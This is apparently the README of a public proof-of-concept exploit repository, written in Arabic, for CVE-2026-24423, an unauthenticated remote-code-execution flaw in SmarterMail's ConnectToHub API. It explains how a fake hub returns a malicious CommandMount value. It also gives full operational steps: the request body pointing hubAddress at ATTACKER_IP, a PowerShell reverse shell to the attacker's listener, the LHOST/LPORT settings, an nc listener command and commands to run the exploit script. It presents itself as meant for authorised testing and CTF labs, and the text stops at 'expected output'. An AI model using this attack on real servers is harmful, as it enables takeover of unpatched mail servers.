
PoC لتنفيذ التعليمات البرمجية عن بُعد (RCE) دون مصادقة لـ CVE-2026-24423 في SmarterTools SmarterMail (ConnectToHub). لاختبارات الأمان المصرّح بها، وCTFs، والبحث فقط.
أداة استغلال مكتوبة بلغة Python لثغرة CVE-2026-24423، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution) بدون مصادقة في وظيفة ConnectToHub الخاصة بـ SmarterTools SmarterMail.
الاستخدام المقصود: اختبارات الأمان المصرّح بها، ومسابقات CTF، ومختبرات Hack The Box، وبيئات البحث المُتحكَّم بها فقط.
استخدمها فقط ضد الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها. راجع SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
يتطلب Python 3.6+ (المكتبة القياسية فقط). الشرح الكامل في قسم الاستخدام أدناه.
CVE-2026-24423 هي ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة تؤثر على SmarterTools SmarterMail.
توجد الثغرة في وظيفة ConnectToHub. يمكن لمهاجم غير مُصادَق عليه تزويد قيمة hubAddress خبيثة، مما يجعل خادم SmarterMail يُرسل طلب HTTP إلى خادم يتحكم به المهاجم.
يرد الخادم الخبيث باستجابة setup-initial-connection مُصمَّمة تحتوي على قيمة SystemMount.CommandMount مُتحكَّم بها.
ثم يقوم خادم SmarterMail المُصاب بمعالجة هذه القيمة كأمر على مستوى نظام التشغيل، مما يسمح بتنفيذ أوامر عشوائية في سياق أمان خدمة SmarterMail.
حصلت الثغرة على درجة CVSS 4.0 تساوي 9.3 (حرجة) وصُنّفت على أنها CWE-306: غياب المصادقة لوظيفة حرجة.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-24423 |
| المورّد | SmarterTools |
| المنتج | SmarterMail |
| الثغرة | تنفيذ تعليمات برمجية عن بُعد بدون مصادقة |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 حرجة |
| CVSS v3.1 | 9.8 حرجة |
| ناقل الهجوم | الشبكة |
| المصادقة | لا يوجد |
| تفاعل المستخدم | لا يوجد |
| التعقيد | منخفض |
| تاريخ النشر | 23 يناير 2026 |
| الإصدار المُصلَّح | 9511 |
يصف سجل CVE الرسمي المشكلة بأنها تنفيذ تعليمات برمجية عن بُعد بدون مصادقة عبر طريقة API الخاصة بـ ConnectToHub.
إصدارات SmarterMail قبل Build 9511 متأثرة.
يحدد سجل CVE النطاق المتأثر كما يلي:
SmarterMail < 100.0.9511
يحتوي الإصدار 9511، الصادر في 15 يناير 2026، على إصلاح المورّد.
< 100.0.9511
>= 100.0.9511
تحقق دائمًا من الإصدار المثبَّت بدقة قبل محاولة إعادة إنتاج الثغرة.
الوظيفة المُصابة مكشوفة عبر واجهة API لإدارة نظام SmarterMail.
العملية ذات الصلة هي:
/api/v1/settings/sysadmin/connect-to-hub
تقبل نقطة النهاية معامل hubAddress.
من الناحية النظرية، يمكن للمهاجم تزويد:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
ثم يتصل SmarterMail بعنوان الـ hub المُزوَّد ويطلب:
/web/api/node-management/setup-initial-connection
يرد الخادم الذي يتحكم به المهاجم ببيانات JSON تحتوي على كائن SystemMount خبيث.
الخاصية المهمة هي:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
تُستخدم قيمة CommandMount لاحقًا من قِبَل التطبيق المُصاب كأمر على مستوى نظام التشغيل.
يتيح ذلك للمهاجم الانتقال من:
طلب HTTP بدون مصادقة
إلى:
تنفيذ أوامر عن بُعد
يؤكد التحليل التقني من VulnCheck أن hubAddress الذي يتحكم به المهاجم يجعل SmarterMail يطلب نقطة نهاية setup-initial-connection الخاصة بالمهاجم، وأن CommandMount المُعاد يمكن أن يوفّر تنفيذ أوامر عشوائية.
تتكون أداة الاستغلال من مكوّنين:
يستمع خادم Python إلى:
POST /web/api/node-management/setup-initial-connection
ويُعيد استجابة JSON مُصمَّمة تحتوي على SystemMount.CommandMount الخبيث.
مستمع TCP منفصل يستقبل الاتصال الذي يبدأه الأمر المُنفَّذ على الهدف.
تستخدم أداة الاستغلال عمدًا منفذين منفصلين.
8081
└── Hub مزيف لـ SmarterMail
4455
└── مستمع الـ Reverse Shell
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
تخدم هذه المنافذ أغراضًا مختلفة ولا ينبغي الخلط بينها.
تستخدم أداة الاستغلال وحدات المكتبة القياسية في Python فقط:
http.server
json
base64
لا حاجة إلى حزم Python خارجية.
حرّر المتغيرات التالية:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
بالنسبة لبيئة HTB في المثال:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST هو عنوان IP الخاص بالمهاجم الذي يمكن للهدف الوصول إليه.
في Hack The Box، عادةً ما يكون هذا هو العنوان المُخصَّص لواجهة HTB VPN:
ip addr show tun0
مثال:
tun0:
inet 10.10.14.50
لذلك:
LHOST = "10.10.14.50"
LPORT هو منفذ TCP الذي يستخدمه المهاجم لاستقبال الاتصال العكسي.
مثال:
LPORT = 4455
HUB_PORT هو منفذ HTTP الذي يستخدمه hub SmarterMail الخبيث.
مثال:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
حرّر:
nano exploit.py
اضبط:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
افتح طرفية:
nc -lvnp 4455
المتوقع:
Listening on 0.0.0.0 4455
اترك هذه الطرفية مفتوحة.
افتح طرفية ثانية:
python3 exploit.py
إذا كان الربط بالمنفذ المحدد يتطلب صلاحيات مرتفعة:
sudo python3 exploit.py
المخرجات المتوقعة: